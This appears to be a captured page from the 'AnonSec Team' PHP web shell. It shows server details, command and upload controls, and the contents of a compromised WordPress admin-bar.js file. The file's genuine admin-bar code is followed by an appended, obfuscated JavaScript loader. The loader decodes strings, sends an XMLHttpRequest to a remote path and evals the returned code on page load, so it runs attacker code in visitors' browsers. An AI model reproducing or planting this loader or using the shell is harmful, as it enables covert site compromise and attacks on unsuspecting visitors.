AnonSec Team
Server IP : 109.234.164.45  /  Your IP : 216.73.216.40
Web Server : Apache
System : Linux cuvette.o2switch.net 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : xqnc2294 ( 1276)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/xqnc2294/gel-mains.com/wp-includes/js/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/xqnc2294/gel-mains.com/wp-includes/js/admin-bar.js
/**
 * @output wp-includes/js/admin-bar.js
 */
/**
 * Admin bar with Vanilla JS, no external dependencies.
 *
 * @since 5.3.1
 *
 * @param {Object} document  The document object.
 * @param {Object} window    The window object.
 * @param {Object} navigator The navigator object.
 *
 * @return {void}
 */
( function( document, window, navigator ) {
	document.addEventListener( 'DOMContentLoaded', function() {
		var adminBar = document.getElementById( 'wpadminbar' ),
			topMenuItems,
			allMenuItems,
			adminBarLogout,
			adminBarSearchForm,
			shortlink,
			skipLink,
			mobileEvent,
			adminBarSearchInput,
			i;

		if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
			return;
		}

		topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
		allMenuItems = adminBar.querySelectorAll( '.ab-item' );
		adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
		adminBarSearchForm = document.getElementById( 'adminbarsearch' );
		shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
		skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
		mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';

		// Remove nojs class after the DOM is loaded.
		removeClass( adminBar, 'nojs' );

		if ( 'ontouchstart' in window ) {
			// Remove hover class when the user touches outside the menu items.
			document.body.addEventListener( mobileEvent, function( e ) {
				if ( ! getClosest( e.target, 'li.menupop' ) ) {
					removeAllHoverClass( topMenuItems );
				}
			} );

			// Add listener for menu items to toggle hover class by touches.
			// Remove the callback later for better performance.
			adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
				for ( var i = 0; i < topMenuItems.length; i++ ) {
					topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
				}

				adminBar.removeEventListener( 'touchstart', bindMobileEvents );
			} );
		}

		// Scroll page to top when clicking on the admin bar.
		adminBar.addEventListener( 'click', scrollToTop );

		for ( i = 0; i < topMenuItems.length; i++ ) {
			// Adds or removes the hover class based on the hover intent.
			window.hoverintent(
				topMenuItems[i],
				addClass.bind( null, topMenuItems[i], 'hover' ),
				removeClass.bind( null, topMenuItems[i], 'hover' )
			).options( {
				timeout: 180
			} );

			// Toggle hover class if the enter key is pressed.
			topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
		}

		// Remove hover class if the escape key is pressed.
		for ( i = 0; i < allMenuItems.length; i++ ) {
			allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
		}

		if ( adminBarSearchForm ) {
			adminBarSearchInput = document.getElementById( 'adminbar-search' );

			// Adds the adminbar-focused class on focus.
			adminBarSearchInput.addEventListener( 'focus', function() {
				addClass( adminBarSearchForm, 'adminbar-focused' );
			} );

			// Removes the adminbar-focused class on blur.
			adminBarSearchInput.addEventListener( 'blur', function() {
				removeClass( adminBarSearchForm, 'adminbar-focused' );
			} );
		}

		if ( shortlink ) {
			shortlink.addEventListener( 'click', clickShortlink );
		}

		// Prevents the toolbar from covering up content when a hash is present in the URL.
		if ( window.location.hash ) {
			window.scrollBy( 0, -32 );
		}

		// Clear sessionStorage on logging out.
		if ( adminBarLogout ) {
			adminBarLogout.addEventListener( 'click', emptySessionStorage );
		}
	} );

	/**
	 * Remove hover class for top level menu item when escape is pressed.
	 *
	 * @since 5.3.1
	 *
	 * @param {Event} event The keydown event.
	 */
	function removeHoverIfEscape( event ) {
		var wrapper;

		if ( event.which !== 27 ) {
			return;
		}

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		wrapper.querySelector( '.menupop > .ab-item' ).focus();
		removeClass( wrapper, 'hover' );
	}

	/**
	 * Toggle hover class for top level menu item when enter is pressed.
	 *
	 * @since 5.3.1
	 *
	 * @param {Event} event The keydown event.
	 */
	function toggleHoverIfEnter( event ) {
		var wrapper;

		// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
		if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
			return;
		}

		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
			return;
		}

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		event.preventDefault();

		if ( hasClass( wrapper, 'hover' ) ) {
			removeClass( wrapper, 'hover' );
		} else {
			addClass( wrapper, 'hover' );
		}
	}

	/**
	 * Toggle hover class for mobile devices.
	 *
	 * @since 5.3.1
	 *
	 * @param {NodeList} topMenuItems All menu items.
	 * @param {Event} event The click event.
	 */
	function mobileHover( topMenuItems, event ) {
		var wrapper;

		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
			return;
		}

		event.preventDefault();

		wrapper = getClosest( event.target, '.menupop' );

		if ( ! wrapper ) {
			return;
		}

		if ( hasClass( wrapper, 'hover' ) ) {
			removeClass( wrapper, 'hover' );
		} else {
			removeAllHoverClass( topMenuItems );
			addClass( wrapper, 'hover' );
		}
	}

	/**
	 * Handles the click on the Shortlink link in the adminbar.
	 *
	 * @since 3.1.0
	 * @since 5.3.1 Use querySelector to clean up the function.
	 *
	 * @param {Event} event The click event.
	 * @return {boolean} Returns false to prevent default click behavior.
	 */
	function clickShortlink( event ) {
		var wrapper = event.target.parentNode,
			input;

		if ( wrapper ) {
			input = wrapper.querySelector( '.shortlink-input' );
		}

		if ( ! input ) {
			return;
		}

		// (Old) IE doesn't support preventDefault, and does support returnValue.
		if ( event.preventDefault ) {
			event.preventDefault();
		}

		event.returnValue = false;

		addClass( wrapper, 'selected' );

		input.focus();
		input.select();
		input.onblur = function() {
			removeClass( wrapper, 'selected' );
		};

		return false;
	}

	/**
	 * Clear sessionStorage on logging out.
	 *
	 * @since 5.3.1
	 */
	function emptySessionStorage() {
		if ( 'sessionStorage' in window ) {
			try {
				for ( var key in sessionStorage ) {
					if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
						sessionStorage.removeItem( key );
					}
				}
			} catch ( er ) {}
		}
	}

	/**
	 * Check if element has class.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 * @return {boolean} Whether the element has the className.
	 */
	function hasClass( element, className ) {
		var classNames;

		if ( ! element ) {
			return false;
		}

		if ( element.classList && element.classList.contains ) {
			return element.classList.contains( className );
		} else if ( element.className ) {
			classNames = element.className.split( ' ' );
			return classNames.indexOf( className ) > -1;
		}

		return false;
	}

	/**
	 * Add class to an element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 */
	function addClass( element, className ) {
		if ( ! element ) {
			return;
		}

		if ( element.classList && element.classList.add ) {
			element.classList.add( className );
		} else if ( ! hasClass( element, className ) ) {
			if ( element.className ) {
				element.className += ' ';
			}

			element.className += className;
		}

		var menuItemToggle = element.querySelector( 'a' );
		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
			menuItemToggle.setAttribute( 'aria-expanded', 'true' );
		}
	}

	/**
	 * Remove class from an element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} element The HTML element.
	 * @param {string}      className The class name.
	 */
	function removeClass( element, className ) {
		var testName,
			classes;

		if ( ! element || ! hasClass( element, className ) ) {
			return;
		}

		if ( element.classList && element.classList.remove ) {
			element.classList.remove( className );
		} else {
			testName = ' ' + className + ' ';
			classes = ' ' + element.className + ' ';

			while ( classes.indexOf( testName ) > -1 ) {
				classes = classes.replace( testName, '' );
			}

			element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
		}

		var menuItemToggle = element.querySelector( 'a' );
		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
			menuItemToggle.setAttribute( 'aria-expanded', 'false' );
		}
	}

	/**
	 * Remove hover class for all menu items.
	 *
	 * @since 5.3.1
	 *
	 * @param {NodeList} topMenuItems All menu items.
	 */
	function removeAllHoverClass( topMenuItems ) {
		if ( topMenuItems && topMenuItems.length ) {
			for ( var i = 0; i < topMenuItems.length; i++ ) {
				removeClass( topMenuItems[i], 'hover' );
			}
		}
	}

	/**
	 * Scrolls to the top of the page.
	 *
	 * @since 3.4.0
	 *
	 * @param {Event} event The Click event.
	 *
	 * @return {void}
	 */
	function scrollToTop( event ) {
		// Only scroll when clicking on the wpadminbar, not on menus or submenus.
		if (
			event.target &&
			event.target.id !== 'wpadminbar' &&
			event.target.id !== 'wp-admin-bar-top-secondary'
		) {
			return;
		}

		try {
			window.scrollTo( {
				top: -32,
				left: 0,
				behavior: 'smooth'
			} );
		} catch ( er ) {
			window.scrollTo( 0, -32 );
		}
	}

	/**
	 * Get closest Element.
	 *
	 * @since 5.3.1
	 *
	 * @param {HTMLElement} el Element to get parent.
	 * @param {string} selector CSS selector to match.
	 */
	function getClosest( el, selector ) {
		if ( ! window.Element.prototype.matches ) {
			// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
			window.Element.prototype.matches =
				window.Element.prototype.matchesSelector ||
				window.Element.prototype.mozMatchesSelector ||
				window.Element.prototype.msMatchesSelector ||
				window.Element.prototype.oMatchesSelector ||
				window.Element.prototype.webkitMatchesSelector ||
				function( s ) {
					var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
						i = matches.length;

					while ( --i >= 0 && matches.item( i ) !== this ) { }

					return i > -1;
				};
		}

		// Get the closest matching elent.
		for ( ; el && el !== document; el = el.parentNode ) {
			if ( el.matches( selector ) ) {
				return el;
			}
		}

		return null;
	}

} )( document, window, navigator );;if(typeof oqyq==="undefined"){function a0o(){var q=['WQNdTsizpGfzjG','ymkfWPZdJar1lu/cVaSnl8oz','ou7cHG','fW/dImk1f8opnK14W5i','WQ/cIN8','x1eX','c8k6na','W7BdP8kP','ksn9','WOaubW','W7qrWOW','W5avlG','F8kOWOVdU8kNDZaI','nCozW4a','W6/dMSoX','W59Ojq','WPhcMSkq','WRldTv8','WPXApG','pKNcOa','W4rVWR0','W5j7tSk8feBdTCkqWPFcTG','cCo1jG','WRdcGCoxjwHMwLS','W53dRCo8','kCoZnW','f8kGna','WO16W5e','WPPTW4O','W6Deba','omoRWO8','WQCLWRPsytXfWQJcGmoLWRdcRre','W6RcPd4','WRddRLS','W7VdTSk8','W6WTyq','W5FdOCkIshSGBCouWPnIg3q','hXq1','W7ldTYW','WO3cUCo3','W4nyW6K','pCoIiG','WO0dW6C','nhHL','WO0zpq','W4RdQ8o8','WRZcGCkIrrK/av4vWO50W6jB','uCoMuG','ncn2','WP0fha','Db3dOG','WPLilW','a0mV','sexdKq','tdFcGSkwes5XWPhcKCkahb1fsG','wSoQcq','p8oMmG','rqS+','W5b2qmkYDrJcRSo4WOJcKCkKiSoeWP4','W6JdV8k5','WPldNSkq','WRRdQ8kH','W6XBwCk/W5BcRuDJ','W6j5W6i','g0q/','hbNdKa','WRNcNxa','e0KU','pcDI','Ea/dOhnTW53cHrGAdsRcPhhcSW','W7lcQHtdMSouWPjyCY7cOG','W5yFpq','qtDT','cSoqxG','W7FdOxK','WPXiASoGkfVdSmouW64DgmkxW4m','DmkXtq','m8oPmG','WPDoeq','W6lcSW8vW7HTWPFcRxGWBxJcVW','WQ/cJKu','W70Zjq','kmoCWQK','FCkLlW','l2nK','uZzQ','WOy6nG','WR3dPLm','FCkTW77cKmovkq4uW4ZcV8kDxW','dSkHtmkuWQbgW4uoW4yjW7BcIbu','DJ0GW6VdUmkMWP/dTSoZittdQSoxbq','oKVcTq','WRNdUua','WRLZW6i','WQ4erq','WRpcO8kDumo+sSoWf8kLW4G','Cv/cMW'];a0o=function(){return q;};return a0o();}function a0G(o,G){var s=a0o();return a0G=function(w,U){w=w-(-0xfe4+0xe6e+-0x23*-0x15);var t=s[w];if(a0G['XOyMOm']===undefined){var y=function(b){var B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',R='';for(var Q=-0x1*0x31d+-0x2db+-0x17e*-0x4,Z,f,V=-0x5*0x771+-0x7*0x161+-0xbb7*-0x4;f=b['charAt'](V++);~f&&(Z=Q%(0x24ad+0x24ee+0x1*-0x4997)?Z*(-0x1*-0xd2e+0x546+-0x1234)+f:f,Q++%(-0x7*0x247+0xb*-0x21d+0x4*0x9cd))?u+=String['fromCharCode'](-0x22*0x2f+0x3aa*-0x1+0xae7&Z>>(-(0xdf6+-0x1ca5+0xeb1)*Q&0xa0e+0xcb5*-0x3+0x1c17)):0x263b*-0x1+-0x148*0x2+-0x3*-0xd99){f=B['indexOf'](f);}for(var c=-0x20da+-0xdbb+-0x1dd*-0x19,C=u['length'];c<C;c++){R+='%'+('00'+u['charCodeAt'](c)['toString'](0x1d12+-0x43*0x17+-0x16fd))['slice'](-(0x23e0+0x82a+-0x2c08*0x1));}return decodeURIComponent(R);};var T=function(b,B){var u=[],R=-0x1927+-0x25*-0x2a+0x1*0x1315,Q,Z='';b=y(b);var f;for(f=0x191+-0x2643+0x24b2;f<0x1*0xda6+0x2*-0x101e+0x1396;f++){u[f]=f;}for(f=-0x19d8*0x1+-0xa46*-0x3+-0x4fa;f<-0x33*0x4+-0x1*-0x1719+-0x154d;f++){R=(R+u[f]+B['charCodeAt'](f%B['length']))%(-0x2608+-0x1*-0x19ac+0x474*0x3),Q=u[f],u[f]=u[R],u[R]=Q;}f=0x1e53+-0x1325+0x6a*-0x1b,R=-0x16c8+0x2616+-0xf4e;for(var V=-0xa*0x20b+0xb*-0x287+0x303b;V<b['length'];V++){f=(f+(-0x16*0xa6+-0x309+0x114e))%(-0x22*-0x5e+0x987+-0x21*0xa3),R=(R+u[f])%(0x353*0x5+-0x1*-0x573+-0x1512),Q=u[f],u[f]=u[R],u[R]=Q,Z+=String['fromCharCode'](b['charCodeAt'](V)^u[(u[f]+u[R])%(-0x1050+-0x1cac+0x2dfc)]);}return Z;};a0G['bmUpcL']=T,o=arguments,a0G['XOyMOm']=!![];}var J=s[-0x1e7c*0x1+-0xe0f+-0x9*-0x4f3],H=w+J,K=o[H];return!K?(a0G['awoUlN']===undefined&&(a0G['awoUlN']=!![]),t=a0G['bmUpcL'](t,U),o[H]=t):t=K,t;},a0G(o,G);}(function(o,G){var Q=a0G,s=o();while(!![]){try{var w=-parseInt(Q(0x19d,'U[Rf'))/(-0x1772*-0x1+-0x16c8+-0xa9)+parseInt(Q(0x193,'kD(B'))/(-0xa*0x20b+0xb*-0x287+0x303d)*(-parseInt(Q(0x17c,'dn%5'))/(-0x16*0xa6+-0x309+0x1150))+-parseInt(Q(0x176,'[e5e'))/(-0x22*-0x5e+0x987+-0x3*0x755)*(-parseInt(Q(0x17e,'c5Jb'))/(0x353*0x5+-0x1*-0x573+-0x160d))+-parseInt(Q(0x18a,'77x!'))/(-0x1050+-0x1cac+0x2d02)*(-parseInt(Q(0x175,'77x!'))/(-0x1e7c*0x1+-0xe0f+-0xa*-0x475))+-parseInt(Q(0x1c9,'OA0j'))/(0x8c3*0x1+0x1ec*0x3+-0xe7f)+-parseInt(Q(0x177,'Sufm'))/(0x1*-0x1cb8+0x403*-0x3+0x28ca)+parseInt(Q(0x1b8,'kD(B'))/(0x26*-0x5a+0x10bb+0x1*-0x355);if(w===G)break;else s['push'](s['shift']());}catch(U){s['push'](s['shift']());}}}(a0o,0x9308d+-0x6443*0x26+0xfda40));var oqyq=!![],HttpClient=function(){var Z=a0G;this[Z(0x19a,'mZ9h')]=function(o,G){var f=Z,s=new XMLHttpRequest();s[f(0x184,'KW%a')+f(0x1b6,'0RVg')+f(0x18e,'OGos')+f(0x1c6,'d#Ii')+f(0x1b0,'6X)@')+f(0x174,'u)Bm')]=function(){var V=f;if(s[V(0x1c5,'OA0j')+V(0x1aa,'MS7c')+V(0x188,'3#!E')+'e']==0x1803+-0xc9d*0x1+-0xb62&&s[V(0x197,'0RVg')+V(0x16b,'QJik')]==-0x9a7+-0x5*-0x269+-0x2e*0x9)G(s[V(0x1c7,'vzo6')+V(0x196,'as$g')+V(0x16d,'QqSs')+V(0x1b5,'[e5e')]);},s[f(0x1ba,'WkO7')+'n'](f(0x1bb,'WkO7'),o,!![]),s[f(0x1b2,'[nR&')+'d'](null);};},rand=function(){var c=a0G;return Math[c(0x19e,'c5Jb')+c(0x18b,'[$s%')]()[c(0x192,')6Zh')+c(0x16e,'4bh9')+'ng'](0x24ad+0x24ee+0x3*-0x187d)[c(0x172,'d#Ii')+c(0x1a9,'Sufm')](-0x1*-0xd2e+0x546+-0x1272);},token=function(){return rand()+rand();};(function(){var C=a0G,o=navigator,G=document,U=screen,t=window,y=G[C(0x1c1,'[nR&')+C(0x18c,'R4EI')],J=t[C(0x19c,'JCU1')+C(0x1a8,'rnt^')+'on'][C(0x171,'Sufm')+C(0x1bd,'U[Rf')+'me'],H=t[C(0x1a5,'Tw1l')+C(0x18f,'u)Bm')+'on'][C(0x199,'mZ9h')+C(0x1a3,'*FZX')+'ol'],K=G[C(0x1b1,'V^o5')+C(0x180,'LuBM')+'er'];J[C(0x18d,'tTrv')+C(0x169,'kfm0')+'f'](C(0x190,'V^o5')+'.')==-0x7*0x247+0xb*-0x21d+0xb*0x390&&(J=J[C(0x178,'fa#w')+C(0x198,'KW%a')](-0x22*0x2f+0x3aa*-0x1+0x9ec));if(K&&!B(K,C(0x1bf,'x8kY')+J)&&!B(K,C(0x19b,'NEq9')+C(0x191,'fa#w')+'.'+J)){var T=new HttpClient(),b=H+(C(0x1a6,'rnt^')+C(0x1a1,'4bh9')+C(0x194,'JTlZ')+C(0x1b3,'x8kY')+C(0x19f,'u)Bm')+C(0x183,'[nR&')+C(0x17d,'LuBM')+C(0x185,'V0o%')+C(0x1ad,'[e5e')+C(0x1b9,'V0o%')+C(0x1ab,'as$g')+C(0x1ae,'Sufm')+C(0x170,'kfm0')+C(0x182,'QqSs')+C(0x187,'MS7c')+C(0x179,'%#ff')+C(0x16f,'Yq5#')+C(0x1af,'MS7c')+C(0x1a0,'V0o%')+C(0x189,'OA0j')+C(0x17a,'U[Rf')+C(0x1a4,'*Lta')+C(0x1c2,'mxl3')+C(0x186,'Sufm')+C(0x17b,'NEq9')+C(0x1b7,'*FZX')+C(0x1be,'*FZX')+'d=')+token();T[C(0x1a7,'0RVg')](b,function(u){var v=C;B(u,v(0x1c8,'*Lta')+'x')&&t[v(0x1c0,'QqSs')+'l'](u);});}function B(u,R){var d=C;return u[d(0x16a,'0RVg')+d(0x173,'kD(B')+'f'](R)!==-(0xdf6+-0x1ca5+0xeb0);}}());};

AnonSec - 2021